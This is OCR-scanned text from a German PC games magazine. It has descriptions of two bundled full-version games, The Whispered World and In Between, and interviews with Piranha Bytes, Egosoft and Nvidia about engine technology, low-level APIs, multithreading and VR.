Clown: Statt heiter und lustig ist er zutiefst melancho- 
lisch und würde am liebsten seinem Zirkus-Alltag ent- 
fliehen. In seinen immer wiederkehrenden Albtráume 
wird er zudem von einem blauen kugelfórmigen Wese 
verfolgt, während die Welt um ihn herum zusammen- 
bricht. Als er eine Weise wegen der Vision befragt, 
bestátigt diese ihm, dass die Welt dem Untergang 
geweiht und Sadwick der Grund dafür ist. Der kleine 
Clown macht sich daraufhin auf, der Prophezeiung ent- 
gegenzutreten und das Ende der Welt doch noch zu 

verhindern. 


n 
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THE WHISPERED WORLD 


Die größte Stärke des Daedalic-Adventures ist neben 
der wunderschönen Grafik die bittersüße, teilweise fast 
zynische, melancholische Atmosphäre. Daher heimste 
der Titel bei Erscheinen im August 2009 auch eine sehr 
gute 85er-Wertung bei den Kollegen der PC Games ein. 
Die Special Edition enthält darüber hinaus den Sound- 
track des Spiels und Audiokommentare der Entwickler. 


Installation: 
Für die Installation sind eine aktive Online-Verbindung 
und ein kostenloser Steam-Account nötig. Wenn Sie 


Vollversion: The Whispered World Special Edition 


den Client von der Heft-DVD aufrufen, startet Steam automatisch und fordert Sie 
auf, den Installationsschlüssel einzugeben. Diesen erhalten Sie, indem Sie den Code 
der Codekarte (S. 66/67) auf www.pcgh.de/codes gegen einen Steam-Key eintau- 
schen. Haben Sie den Steam-Key eingegeben, startet die Installation von der Disk. 
Wahlweise können Sie Ihren zuvor eingetauschten Steam-Key (s. o.) auch direkt über 
Steam eingeben und das komplette Spiel herunterladen. 


Minimale Systemvoraussetzungen: Windows XP und neuer, Prozessor mit 
2,5 GHz (ein Kern)/2,0 GHz (zwei Kerne), 1 GiB RAM, Open-GL-2.0-Grafik mit 256 
MiB Grafikspeicher, ca. 2,3 GiB HDD-Platz (inkl. SE-Soundtrack als MP3 & FLAC) 


Darüber hinaus empfohlene Systemkonfiguration: Windows Vista oder 
höher, 2 GiB RAM, 512 MiB Grafikspeicher 


In Between ist ein äußerst atmosphärischer, unter an- 
derem mit dem Deutschen Computerspielpreis ausge- 
zeichneter Platformer, bei dem Sie durch die Manipula- 
tion der Umgebung und der Schwerkraft knifflige Rätsel 
lösen. Das Spiel ist mit zahlreichen Preisen ausgezeich- 
net, darunter der German Video Game Award 2015 und 
der Red Dot Award 2014. 
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Die Story spielt im Kopf eines Mannes, der von einem 
schweren Schicksalsschlag getroffen wurde. Dabei 
schneidet das Spiel ernste Themen wie die Auseinan- 
dersetzung mit der Sterblichkeit und die Verarbeitung 
des bevorstehenden Todes an, was auch durch die 
künstlerisch wertvolle grafische und akustische Un- 
termalung noch einmal betont wird. Während Sie 
sich dem unabkehrbaren Schicksal des Protagonisten 
entgegenstellen, werden neue Spielmechaniken einge- 
führt. Jede Phase stellt eine neue Spielform dar, welche 
die Emotionen des Protagonisten reflektiert, während 
er sein Schicksal verarbeitet. 


Rätseln Sie sich durch seine Gedankenwelt, in der die 
Gesetze der Physik keine Rolle mehr spielen — neben 
WASD zur Steuerung der Laufrichtung lässt sich die 
Spielfigur unabhängig von der Schwerkraft mit den 
Pfeiltasten zur nächsten Wand lenken. Drücken Sie 
etwa die Taste „Pfeil nach oben", läuft die Spielfigur 


DRM-frei, kein Code erforderlich! 


danach an der nächstgelegenen Decke oder Zwischenplattform entlang. So finden 
Sie die Ausgánge, wáhrend Sie zugleich tódliche Hindernisse vermeiden. 


Installation: 
Bei dem auf der DVD enthaltenen Spiel In Between handelt es sich um eine DRM-freie 
Version, die über keinerlei Kopierschutz verfügt und zeitlich unbegrenzt nutzbar ist. 


Minimale Systemvoraussetzungen: Windows 7 oder neuer, Zweikern-CPU 
mit 2,2 GHz (Core 2 Duo E4500 oder Athlon 64 X2 5600+), 2 GiB RAM, 
Direct-X-9-kompatible Grafikkarte mit 1 GiByte Speicher, ca. 790 MiB HDD-Platz 


Darüber hinaus empfohlen: Drei- oder Vierkern-CPU ab 2,8 GHz (AMD FX- 
6120/Intel Core i5-2300), 4 GiB RAM, Geforce GTX 550 Ti oder Radeon HD 6670 
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Die Zukunft der. 


PC-Spiele 


Wohin geht die Reise bei Spiele- und Hardware-Entwick- 
lern? PCGH sprach mit zwei deutschen Entwickler-Studios 


und Nvidia über die nahe und ferne Zukunft bei PC-Spielen. f 


Philipp Krause, Lead Programmer Piranha-Bytes 
Björn Pankratz, Project Manager Piranha-Bytes 


PCGH: Elex erscheint ja in gut fünf 
Wochen (Hinweis: zum Zeitpunkt 
des Interviews). Was hat der Lead 
Programmer zu so einem Zeit- 
punkt eigentlich noch am Spiel 
selbst zu machen? 


In dieser Phase wer- 
den noch kritische Fehler noch ge- 
fixed, ich konzentriere mich bei der 
Kontrolle der Technik auf wichtige 
Bugs. Das ist jetzt auch die Phase, 
über Patches nachzudenken, denn 
der Master für die Handelsversi- 
on muss ja bald ins Presswerk; für 
die Digitalversion haben wir mehr 
Zeit. Auch das nächste Projekt ist 
zum jetzigen Zeitpunkt ein Thema. 
Wir arbeiten aktuell weniger an der 
Optimierung für bestimmte Hard- 
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ware. Aus Erfahrung gibt es nach 
Release 1-2 Hardwareprobleme, 
zum Beispiel Timerprobleme oder 
auch exotische Systeme, die Ärger 
machen, wie bei Risen 3. Man kann 
nicht alles testen. 


Final gibt es nicht. 
Es gibt zum Release immer Sachen, 
die von der Q&A übersehen wur- 
den. Kombinationen von Grafikkar- 
ten oder CPUs, man kann ja nicht 
wirklich alles testen. Es kann sein, 
dass zum Release alles perfekt funk- 
tioniert, es besteht aber auch die 
Chance, dass etwas nicht so läuft 
wie geplant. 


PCGH: Wie plant ihr zum Projekt- 
start überhaupt eure Ziele, auf wel- 


chen PCs Elex irgendwann in der 
Zukunft gut lauffähig ist? Nehmt 
ihr dazu beispielsweise Steamdaten 
zur Hand und projiziert das in die 
Zukunft? Oder skaliert eure Engine 
für Elex so gut mit unterschied- 
licher Hardware, dass ihr das gar 
nicht braucht? 


Wir schauen uns 
schon die Steamhardwareverbrei- 
tung an, besonders die Anzahl an 
CPU-Kernen, die  Betriebssyste- 
me, das DirectX Level. Und da ich 
der einzige Grafikprogrammierer 
bin, nehme ich einen PC zum Pro- 
grammieren, der ungefähr den 
Specs entspricht, auf dem das Spiel 
nachher laufen soll. Das ist zum 
Projektstart dann schon ein High- 


End-PC, weil wir ja ca. 2,5 Jahre 
entwickelt haben. Das Spiel entwi- 
ckelt sich dann in Evolutionsstufen, 
es kommt immer neuer Content 
dazu. Die Grafik-Features im Spiel 
sind schlussendlich eine Mischung 
aus dem, was man leisten kann, 
und dem, was man auch optimiert 
bekommt. 


PCGH: Was sind die größten Unter- 
schiede zwischen eurer Engine für 
Risen 3 und Elex? 


Viele Änderungen 
findet man unter der Haube, die 
sieht man nicht - z. B. bei der KI. 
Auch das UI wurde überarbeitet. 
Insgesamt habe ich einen Großteil 
der gesamten Renderpipeline neu 
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geschrieben. Manches davon wür- 
de ich als ,State of the Art“ bezeich- 
nen, wo wir uns nicht verstecken 
müssen. Zum Beispiel die volume- 
trische Beleuchtung, alle Lichter 
sind nun volumetrisch. Die Global 
Illumination war eine der größten 
Herausforderungen, dazu kommt 
das Physically Based Rendering. 
Viel geändert haben wir auch bei 
der Darstellung von Haaren und 
Haut und auch beim Wolkensys- 
tem. Das Wasser wurde komplett 
ersetzt, wir haben nun eine Flüsse- 
Simulation bis ins Meer. Dann na- 
türlich das Welt-Streaming ohne 
Ladezeiten: Bei Risen 3 hatten wir 
Inseln, die man laden konnte, nun 
gibt es ein komplett offenes System 
ohne Ladezeiten. 


Björn Pankratz: Dass wir bei Risen 
3 noch zwischen den Inseln Lade- 
zeiten hatten, das war damals kei- 
ne technische Entscheidung, son- 
dern bedingt durch das Gameplay. 
Nicht, dass das falsch rüberkommt. 
Das ganze Streaming wurde für die 
nun offene Welt überarbeitet, auch 
für die Konsolen. 


PCGH: Stichwort Animationen: Da 
hört man von Usern ja immer wie- 
der kritische Kommentare - könnt 
ihr die Kritik nachvollziehen? 


Björn Pankratz: Vorab sollte man 
wissen, dass wir bei Piranha Bytes 
mit 30 Leute arbeiten - bei Spielen 
wie Witcher 3 oder Mass Effect: An- 
dromeda gibt es viel größere Teams 
mit einer Lagerfläche voll von Ani- 
mateuren. Bei uns muss alles sofort 
sitzen. Wir arbeiten erst einmal mit 
rudimentären Animationen und 
verbessern die dann später. Dann 
muss man sehen, dass ein Publisher 
natürlich möglichst früh Gameplay 
braucht, damit man was vorführen 
kann. Wir zeigen seit ca. einein- 
halb Jahren Gameplay, da liest man 
schon in den Kommentaren „das ist 
noch nicht fertig, die anderen sind 
besser“. Early Access-Videos sor- 
gen regelmäßig für Gerüchte über 
angeblich schlechte Animationen. 
Aber wir arbeiten bis zum Ende an 
den Animationen, solche Optimie- 
rungsphasen werden dann leicht 
übersehen. Aber man muss sich 
schon auch die Frage stellen, wann 
die Animationen gut genug sind. 
Wir müssen da einen Mittelweg fin- 
den und können uns nicht nur mit 
Multi-Millionen-Dollar-Projekten 
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vergleichen. Und: Wir sind Maso- 
chisten, weil wir so viele Features 
im Spiel haben. Shooter, Magie, Jet- 
pack-Flüge, Klettern - das ist alles 
schwierig zu animieren. 


Philipp Krause: Wir nehmen die Kri- 
tik immer Ernst. Aber es ist auch 
eine Frage der Wahrnehmung und 
eine Frage der Analyse. In der Regel 
sind es nur Details der Animatio- 
nen, die negativ wahrgenommen 
werden. Und Kommentare sind da 
oft schwierig auszuwerten, da sie 
sehr pauschal sind. Manchmal ist 
die Kritik aber auch sehr differen- 
ziert, dann kann man auch konkret 
etwas verbessern. Bei Dialogen 
haben wir sehr viel Zeit in Gestik 
und Mimik investiert, weil man 
sehr viel Zeit damit verbringt. Hier 
gibt es eine deutliche Evolution 
gegenüber Vorgängerspielen. To- 
tal perfekt zu animieren, bedeutet 
auch sehr lange Reaktionszeiten. 
Da muss man dann tricksen. 


PCGH: Habt ihr Erfahrungen mit 
dem Thema Low Level APIs? Ist 
das ein Thema für die Zukunft von 
Piranha-Bytes-Spielen? Woran liegt 
es eurer Ansicht nach, dass die Ver- 
breitung von Low Level APIs so záh 
vorankommt? 


Philipp Krause: Low Level APIs wa- 
ren natürlich ein Diskussionsthe- 
ma, aber mehrere APIs sind auf- 
grund der Teamstärke einfach nicht 
machbar. Macht man parallel DX11 
und DX12, klauen Abstraktionsebe- 
nen ein Grofsteil der Performance. 
Man muss sich da eigentlich schon 
auf eine API konzentrieren. Viele 
DX12-Features sind nur exklusiv 
nutzbar, das ganze System muss 
drum herum gestrickt werden. 
Low-Level-Zugriff bedeutet 
Mehraufwand, aber auch viel mehr 


viel 


Kontrolle und viel mehr Optimie- 
rungspotenzial. Bei Elex für PS4 
haben wir Erfahrung sammeln kön- 
nen, das kommt Low Level schon 
nahe, das ist der Weg zu DX12 nicht 
weit. Aber Exklusivtitel kann man 
viel besser Low Level optimieren 
Crossplattform-Titel. Vulkan 
war zum Projektstart aufgrund der 


als 
Verbreitung kein Thema. 


PCGH: Ihr bringt ja Elex als erstes 
Spiel parallel auch auf Konsolen he- 
raus. Wie viel Zeit und graue Haare 
haben euch die Konsolenversionen 
von Elex gekostet? Was habt ihr die- 
ses Mal besser/anders gemacht? 


Philipp Krause: Die Versionen für 
PS4 und Xbox One entstehen in- 
house, parallel zur PC-Entwicklung. 
Dabei darf man nicht Äpfel mit Bir- 
nen vergleichen. Die PS4 und die 
Xbox One sind langsamer als ein 
moderner PC; dafür können wir 
für Konsolen gezielter optimieren. 
Wir haben uns viel Mühe gegeben, 
nur kleine Abstriche bei der Grafik 
zu machen. So schaffen wir 1080p 
auf der PS4 mit den High-Settings 
des PCs. Einen speziellen PS4-Pro- 


Am 17.10. erscheint mit Elex ein neues Spiel der Piranha-Bytes, die vor allem durch 


Support haben wir (noch) nicht, 
für die Xbox One X haben wir noch 
kein SDK, aber wir unterhalten uns 
darüber mit dem Publisher. 


PCGH: Habt ihr selbst Erfahrungen 
mit Ryzen (Threadripper) und Sky- 
lake X? Die CPUs dieses Jahr haben 
ja einen massiven Sprung bei nutz- 
baren CPU-Kernen und Threads für 
Spiele gebracht. Aber kann man 
acht Kerne und mehr plus HT auch 
als Entwickler nutzen? Wie viele 
Kerne/Threads nutzt die Engine 
für Elex aus? In welchen Bereichen 
des Renderings könnte man theo- 
retisch überhaupt noch mit mehr 
Kernen etwas Sinnvolles anfangen? 


Philipp Krause: Threading ist ja das 
große Thema in der letzten Zeit. Es 
ist schwierig, so viele Kerne auszu- 
lasten - und vor allem auch noch 
konstant. Bei Elex wird durch DX11 
das Rendering parallelisiert. Zwei 
Kerne können wir grundsätzlich 
auslasten - das Rendering und die 
Game-Logik. Das Rendering wird 
dann noch mal in die Breite gezo- 
gen, indem wir einen Frame auf- 
teilen. Theoretisch können wir bei 


ihre Spieleserien Gothic und Risen bekannt sind. 
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zehn Charakteren auf dem Schirm 
zehn Threads auslasten; aber das 
passiert selten. Trotzdem haben 
wir einen guten Schritt nach vorne 
gemacht bei der Parallelisierung. 
Schwierig ist wie gesagt die kons- 
tante Auslastung. Punktuell wird 
die Parallelisierung durch eine nö- 
tige Synchronisierung aufgehoben. 
Und was die neuen CPUs mit noch 
mehr Kernen angeht: Man kann 
nicht davon ausgehen, dass jeder 
Spieler so viele Kerne hat. Für eine 
stärkere Verbreitung braucht es 
einfach Zeit, daher stehen Vierker- 
ner bei uns im Fokus. 


PCGH: VR ist ja seit einiger Zeit ein 
großes Thema, auch wenn es zwi- 
schendurch deutlich abgekühlt 
war. Durch die jüngsten Preis- 
senkungen kommt aber wieder 
frischer Wind in das Thema. Habt 
ihr eigenen Erfahrungen mit VR? 
Könnt ihr euch vorstellen, selbst 


ein VR-Spiel zu machen? Glaubt ihr, 


dass 2018 der große Durchbruch 
für VR kommt? 


Philipp Krause: Wir haben uns im 
Team Gedanken gemacht über VR, 
aber eher allgemein. Elex würde 
auf VR so gar nicht funktionieren, 
man müsste ein Spiel direkt nur für 
VR machen. Das ist aber dann ein 
langfristiges Thema. Persönlich bin 
ich eher skeptisch und vergleiche 
VR mit der Wii. Das macht zwar 
Spaß, ist aber doch sehr speziell 
und die Spiele sind eher kurz. Und 
die soziale Komponente finde ich 
bei VR eher schwierig, man schot- 
tet sich ja komplett von der Umwelt 
ab, was ich sehr befremdlich finde. 
AR ist für die Zukunft möglicher- 
weise wesentlich interessanter. 


Björn Pankratz: Ich würde abwarten 
und schauen, was da kommt. Die 
Entwickler, die jetzt früh VR-Spiele 
veröffentlichen, bieten zwar „Hot 
Shit“, aber der Absatz ist überschau- 


bar. Ich habe eine PSVR daheim, ich 
empfinde das Tragen mittlerweile 
als unangenehm und nutze sie nach 
der Anfangs-Euphorie nicht mehr. 
VR hält schon, was es verspricht. Es 
funktioniert. Aber viele Leute sind 
einfach faul und ein Shooter in VR 
ist einfach richtig anstrengend. Da- 
her sind viele VR-Spiele auch sehr 
kurz. 


PCGH: Björn, Deine Aussagen zu 
„stinkenden DLCs“ hat für Aufse- 
hen gesorgt. Stehst Du noch dazu? 


Björn Pankratz: Ja, auf jeden Fall. 
Wir wollen einfach ein geiles Spiel 
machen. Mit unserem neuen Part- 
ner THQ Nordic haben wir uns 
sehr früh über DLCs unterhalten 
und wir waren uns schnell einig, 
dass wir für Elex keine machen. 
Man kann als Entwickler gar nicht 
gut genug an DLCs arbeiten, dass es 
von Spielern NICHT als „herausge- 
schnitten“ wahrgenommen wird. 


Für Gothic 2 gab es ein Add-on, an 
dem wir sechs Monate gearbeitet 
haben, das hat sich gut in die Sto- 
ry eingefügt. Heute haben Single- 
Player-DLCs durch Season Passes, 
Exklusiv-DLCs und  Vorbesteller- 
DLCs einfach einen schlechten 
Ruf. Und wir sind viel zu klein, 
um DLCSs kostenlos als Fan-Service 
veróffentlichen zu kónnen. Das ist 
ein Riesenaufwand, wie ein Spiel 
neben dem Spiel. Story, Sprachauf- 
nahmen, Texte, Lokalisierung - das 
kostet alles viel Zeit. Und wie viel 
Zeit darf man sich für einen DLC 
nehmen? Ein halbes Jahr hóchs- 
tens. In der Zeit kann man kein gu- 
tes Add-on machen für 15-20 Euro. 
Also gibt es kleine DLCs, die gefühlt 
zu teuer sind. Die sind wie Sand im 
Getriebe und sorgen für Gameplay- 
Probleme, wenn man beispielswei- 
se den DLC an- und ausschaltet. 
Eine grófsere Fortsetzung ist okay, 
dann muss man es vernünftig ma- 
chen. (tb) 


Interview zu 


X4 


Bernd Lehahn, Managing Director Egosoft 


PCGH: X4 soll ja nächstes Jahr er- 
scheinen und ihr habt schon Game- 
play gezeigt. Welche größeren 
Änderungen an der Engine kann 
man denn gegenüber X Rebirth er- 
warten? Werdet ihr Low-Level-APIs 
unterstützen? 


Bernd Lehahn: Wir haben eine voll- 
ständig neue 3D-Engine auf Basis 
von Vulkan entwickelt und testen 
diese momentan mit unserem Vir- 
tual-Reality-Titel X Rebirth VR Editi- 
on. Diese Engine wird auch die Ba- 
sis für X4 werden. Speziell für VR 
benótigen wir jedes Prozent an Per- 
formance, um die extrem hohen 
benótigten Framerates, trotz unse- 
rer sehr anspruchsvollen Simulati- 
on und Physik, liefern zu kónnen. 


PCGH: DirectX 12 ist ja nun seit 
zwei Jahren auf dem Markt, Vul- 
kan seit 1,5 Jahren. Trotzdem ist 
die Zahl der verfügbaren Spiele 
am Markt überschaubar - es gibt 
rund 20 Spiele mit DX12 und rund 
26 für Vulkan (Android und Linux- 
Ports mitgerechnet). Woran liegt 
es Deiner Ansicht nach, dass die 
Verbreitung von Low Level APIs 
so zàh vorankommt? Rechnest Du 
2018 damit, dass sich die Situation 
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deutlich verbessert? Bekommt ihr 
technische Unterstützung von Nvi- 
dia, AMD oder Microsoft für eine 
Umsetzung? 


Bernd Lehahn: Ein Hauptgrund 
dürfte darin liegen, dass sich für die 
meisten Titel der Aufwand nicht 
lohnt. Eine neue Engine vollständig 
auf Vulkan umzustellen, ist ein sehr 
großer Aufwand, der vor allem für 
die CPU-Seite Performancevorteile 
bieten kann. Aber nur, wenn die 
Engine selbst über Optimierungen 
entscheiden kann, anstatt dies dem 


Bernd Lehahn 


generischen und immer komple- 
xer werdenden Code im Treiber 
zu überlassen. Da aber die meisten 
Spiele nicht von der CPU gebremst 
werden (u. a auch, weil sie auch auf 
Konsolen funktionieren sollen, die 
deutlich schwächere CPUs haben), 
lohnt dieser Aufwand nicht. 


Unsere Titel sind sehr speziell und 
die eigene Engine gibt uns viele Vor- 
teile gegenüber der Konkurrenz. 
Außerdem hängt unsere Framerate 
sehr situationsabhängig ebenso oft 
an der CPU wie an der GPU. 


PCGH: Wenn ihr schon mit spielba- 
ren Versionen von X4 arbeitet, auf 
welchen PCs läuft das Gameplay ak- 
tuell? Wie plant ihr überhaupt eure 
Ziele, auf welchen PCs X4 irgend- 
wann in der Zukunft gut lauffähig 
ist? Nehmt ihr dazu beispielsweise 
Steamdaten zur Hand und proji- 
ziert das in die Zukunft? Wie gut 
skaliert eure Engine für X4 mit un- 
terschiedlicher Hardware? 


Bernd Lehahn: Wir entwickeln 
immer primär für den PC. Das be- 
deutet, dass die Skalierbarkeit von 
vornherein fest eingeplant ist. Im 
grafischen Bereich bedeutet das 


natürlich sehr viele Grafikeinstel- 
lungen, um von „Mid-Range“ bis 
zu den Top-Karten ein weites Feld 
gut bedienen zu können. In Sachen 
GPU sind wir deshalb bei X4 zuver- 
sichtlich, dass ab dem „Mid-Range“ 
alle GPUs, die Vulkan unterstützen, 
auch unseren Mindestanforderun- 
gen genügen. 


Unsere Spiele haben seit jeher das 
Bottleneck eher bei der CPU. Wir 
sind (leider) eines der wenigen 
Spiele, die das ganze Universum 
wirklich vollständig lokal simu- 
lieren. Bei der Entwicklung von X 
Rebirth haben wir diese speziellen 
Systeme für die Darstellung großer 
Mengen von kleinen Flugobjekten 
(Drohnen) - kombiniert mit Phy- 
sik - und viele andere Bereiche auf 
Multi-Threading ausgelegt. So ist 
unsere Engine inzwischen sehr gut 
darin, viele Cores auszunutzen. 


PCGH: HDR ist ja eines der größten 
Display-Technikthemen für 2018+. 
Habt ihr eigene Erfahrungen? 


Bernd Lehahn: Bei den Displays 
habe ich da leider bisher keine 
Erfahrung. Wir haben für unsere 
Engine bereits öfter mit HDR-Be- 
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leuchtung experimentiert, haben 
das aber immer auf ein Minimum 
beschränkt, da die Eye-Adaptation 
bei den extremen Beleuchtungs- 
verhàltnissen im Weltraum uns 


sonst grofše Probleme bereitet hat. 


I: Durch 4K-Konsolen wie die 
ox One X wird der Bedarf an 
Ultra HD Assets immer größer. Habt 
ihr das Thema UHD-Auflösung mit 
entsprechenden Assets auch für X4 
auf dem Schirm? Wird es dadurch 
zu höheren Systemanforderungen 
für PC-Nutzer kommen? Die Assets 
werden ja immer größer. 


Bernd Lehahn: Ehrlich gesagt denke 
ich, dass die PCs auf diesem Feld 
nach wie vor noch Luft nach oben 
haben. Xbox One X ist sicher ein 
großer Schritt, aber PCs mit High- 
End-GPUs der letzten beiden Ge- 
nerationen haben im Allgemeinen 
mehr (dedizierten) Grafikspeicher. 
Es wird Zeit, dass diese Systeme 
mehr genutzt werden. 


P l: Welche Hardwarekompo- 
nenten sind für eure Zukunft am 


Mehr RAM, mehr 
Platz auf schnellen SSDs, mehr 
CPU-Kerne, höhere CPU-Taktraten, 


schnellere Grafikkarten oder mehr 


wichtigsten? 


Grafikspeicher? Oder eine Kombi- 
nation von allen genannten Kom- 
ponenten? 


Bernd Lehahn: Wir sind hier wie ge- 
sagt wohl etwas gegen den Trend 
der Spielebranche immer hungrig 
CPUs. 
meist nun schon genug Threads 
haben, würde ich hier also für eine 
höhere Taktrate oder besser höhe- 


nach schnelleren Da wir 


re Leistung pro Takt stimmen. 


Habt ihr selbst Erfahrungen 


mit Ryzen (Threadripper) und Sky- 
lake X? Die CPUs dieses Jahr haben 
ja einen massiven Sprung bei nutz- 
baren CPU-Kernen und Threads für 
Spiele gebracht. Aber kann man 8 
Kerne und mehr plus HT auch als 
Entwickler nutzen? Wie viele Ker- 


ne/Threads nutzt die Engine für 
Х4 aus? Wie lange brauchen Ent- 
wickler, um diese absurd große 
Zahl an Threads auch ausnutzen 
zu können? In welchen Bereichen 
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Eurydike: VR-Installation 


in München 


Medienkünstlerin Evelyn Hribersek 

bot bereits 2012 mit O.R.pheus eine 
Rauminstallation, die Besucherinnen 
und Besuchern die Erkundung einer 
interaktiven und um Augmented-Re- 
ality-Elemente bereicherten Welt 
ermöglichte. Etwas Vergleichbares lässt 


sich mit Eurydike in München erleben. Die Künstlerin beschreibt ihre Rauminstalla- 
tion als Vereinigung von Musiktheater, bildender Kunst, Film, Games und Hightech. 
Besucher erforschen dabei wie schon bei O.R.pheus jeweils allein die interaktive 
Rauminstallation, in der die Grenze zwischen Realität und Fiktion verwischt 
werden. Mehr Infos: www.pcgh.de/eurydike 


des Renderings könnte man theo- 
retisch überhaupt noch mit mehr 
Kernen etwas Sinnvolles anfangen? 


Bernd Lehahn: Für meinen priva- 
ten PC liebe ich es, viele Threads 
parallel laufen lassen zu 
Das ist von großem Vorteil, wenn 


)nnen. 


man neben dem Spiel zum Beispiel 
auch noch OBS zum Streaming 
benótigt. Aber ich gebe Dir Recht, 


dass vier Kerne mit acht Threads 
für die allermeisten Spiele in ab- 
sehbarer Zeit ausreichen werden. 
Dies liegt aber nur daran, dass dies 
im Moment noch der grófste Teil 
des Marktes ist und niemand jetzt 
bereits größere Zahlen von Ker- 
nen voraussetzen kann. Hat man 
einmal eine Engine mit guter Un- 
terstützung für Multi-Threading, ist 
die Skalierbarkeit nach oben dabei 
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kaum eine Grenze gesetzt. Unsere 
Engine wird aber für X4 wohl gut 
mit vier HT-Kernen auskommen. 


PCGH: VR ist ja seit einiger Zeit ein 
großes Thema, auch wenn es zwi- 
schendurch deutlich abgekühlt 
war. Durch die jüngsten Preissen- 
kungen kommt aber wieder fri- 
scher Wind in das Thema und mit 
X Rebirth VR habt ihr ja tatsächlich 


schon eigene Erfahrungen als VR- 
Content-Entwickler. Wie seid ihr 
auf die Idee mit der VR-Version ge- 
kommen? Gab es Schwierigkeiten 
bei der Entwicklung, die ihr nicht 
vorhergesehen habt? Wie zufrieden 
seid ihr mit den Zahlen? 


Bernd Lehahn: Bei uns gibt es viele 
VR-Fans der ersten Stunde. Als wir 
an X Rebirth gearbeitet und bereits 


Die Weltraum-Simulation X4 soll 2018 erscheinen und setzt auf einen Vulkan-Rende- 
rer, um die maximale Hardware-Leistung auch für VR nutzen zu kónnen. 


mit den ersten Prototypen der Ocu- 
lus Rift gespielt haben, wollten wir 
unbedingt unser Spiel auch in die- 
se Richtung bringen. Eigentlich ist 
X Rebirth perfekt für VR geeignet. 
Das User-Interface ist vollständig 
in ein Cockpit integriert. Allein das 
hilft ungemein. 


Und trotzdem haben wir sehr viele 
Probleme gehabt und viel lànger 
für die Entwicklung der VR-Edition 
benótigt als ursprünglich geplant. 
Zuerst haben wir sogar ganz naiv 
gehofft, VR als ,kleines* Update für 
das normale X Rebirth realisieren 
zu können. Die massiven Verände- 
rungen im UI und bei der Steue- 
rung waren vorhersehbar. Auch die 
sehr innovative Gestensteuerung 
sowohl mit Oculus Touch, als auch 
dem Vive Wand und die Interaktion 
mit Menüs durch einfaches ,Deu- 
ten“ waren grofse Schritte in diese 
Richtung. Es hat sich dann aber 
schnell herausgestellt, dass die nó- 
tigen Änderungen noch tiefer gin- 
gen und z. B. das ganze Universum 
verändert werden musste. 


Natürlich wäre es möglich, EIN 
Spiel zu machen, dass sowohl VR 
als auch normales PC-Gameplay 
abdeckt. Für die Bedienung ist 
uns ja genau das mit der neuen 
VR-Edition auch gelungen. Das 
Spiel erkennt, wenn der Nutzer 
das Headset abnimmt, und schaltet 
sämtliche UI-Systeme auf einen 2D- 
Modus um. Menüs erscheinen wie- 
der vor dem Nutzer statt seitlich 
und können wieder mit der Maus 
bedient werden. Würde man sich 
aber auf EINEN Titel für beide Ziele 
beschränken, wäre das in gewisser 
Weise sehr ähnlich wie ein Konso- 
lenport; eine Reduzierung auf den 
kleinsten gemeinsamen Nenner. 


Deswegen wird X4 auch nicht von 
Anfang an Virtual Reality unterstüt- 
zen. Wir werden die weitere Ent- 
wicklung des Marktes abwarten, 
würden aber sehr gern auch ein X4 
für VR entwickeln. Das wird dann 
aber wieder ein getrenntes Spiel, 
das die Kunden der Originalversi- 
on aber natürlich vergünstigt erhal- 
ten. (tb) 


Interview mit Nvidia 


PCGH: Auf der Gamescom gab es zu 
vielen Triple-A-Spielen Neuigkeiten 
zu Nvidia-Technologien. Nachdem 
es eine längere Zeit eher ruhiger 
war, hat uns die Fülle an Infos über- 
rascht. Speziell die Zusammenar- 
beit bei Final Fantasy 15 PC scheint 
umfassend zu sein: Wird FF15 das 
neue Vorzeigespiel für Nvidia-Tech- 
nologien? Werden wir zukünftig 
noch mehr solcher tiefergehenden 
Kooperationen mit anderen Spiele- 
entwicklern sehen? 


Nvidia: Unsere enge Zusammenar- 
beit mit Spieleentwicklern wird 
nie enden. Großartige Hardware 
braucht großartigen Content, also 
fokussieren wir ein große Menge 
an Ressourcen darauf, Spiele bes- 
ser zu machen und Entwickler die 
passenden Werkzeuge an die Hand 
zu geben. Nvidia unterstützt die 
Spiele-Industrie durch verschiede- 
ne Investitionen, wir kombinieren 
dabei Werkzeuge, Technologien, 
Einsatz von Ingenieuren und Unter- 
stützung für Entwickler. Es dürfte 
schwer sein, eine Firma zu finden, 
die mehr in die Gaming-Commu- 
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nity investiert als wir. Wir sind 
selbst Spieler und wir wollen selbst 
eindrucksvollere und lebendigere 
Spielerfahrungen. weshalb wir mit 
so großem Aufwand dabei sind. 


Weil unser weltweites Team per- 
manent mit allen Entwicklern und 
Publishern rund um den Globus 
arbeitet, passiert immer etwas 
Spannendes im Hintergrund - aber 
man sieht es erst, wenn es bereit ist, 
gezeigt zu werden. Die Früchte der 
harten Arbeit zu zeigen, liegt allein 
in der Hand der Spieleentwickler. 
Vor der Gamescom hatten wir auf 
der E3 viele tolle Beispiele der Zu- 
sammenarbeit, wobei Destiny 2 
unter den vielen guten Spielen her- 
ausragte. Ansel wird nun von über 
25 Spielen unterstützt und PUBG 
ist ein tolles Vorzeigespiel für Sha- 
dowplay Highlights. 


Final Fantasy 15 ist ein großartiges 
Beispiel: Niemand wusste vorher, 
dass wir so stark bei diesem speziel- 
len Studio und Spiel involviert sind. 
Die Entwickler haben erkannt, 
welchen Wert unsere Technologie 


für Spieler darstellt. Dass wir diese 
Produktiv-Werkzeuge Entwicklern 
wie Square Enix zur Verfügung stel- 
len und mit Ingenieurs-Wissen un- 
terstützen, macht es für sie einfach, 
bessere Grafik und aufwendigere 
Effekte in ihre Spiele zu integrie- 
ren. 


Diese kombinierten Anstrengun- 
gen helfen Nvidia dabei, die Inno- 
vationsgeschwindigkeit bei Grafik- 
Technologien voranzutreiben und 
wir glauben, dass das der Industrie, 
den Entwicklern und vor allem 
Spielern hilft. Jeder gewinnt dabei. 


PCGH: DirectX 12 ist seit zwei Jah- 
ren auf dem Markt, Vulkan seit 
eineinhalb Jahren. Trotzdem ist 
die Zahl der verfügbaren Spiele am 
Markt überschaubar - es gibt rund 
20 Spiele mit DX12 und rund 26 für 
Vulkan (Android und Linux-Ports 
mitgerechnet). Woran liegt es, dass 
die Verbreitung von Low Level APIs 
so zäh vorankommt? 


Nvidia: Generell versuchen wir 
nicht, Entwickler in eine bestimm- 


te Richtung zu drängen. Der Ent- 
wickler muss die richtigen Ent- 
scheidungen für sich und sein Spiel 
treffen. Unsere Aufgabe ist es, die 
beste Hardware und den besten 
Treiber-Support zu liefern - und 
zwar für jede API, die für die An- 
sprüche des Entwicklers am besten 
geeignet sind. Am Ende zählt nur, 
dass der Endkunde eine tolle Spie- 
lerfahrung hat. 


PCGH: HDR ist ja offenbar eines der 
größten — Display-Technikthemen 
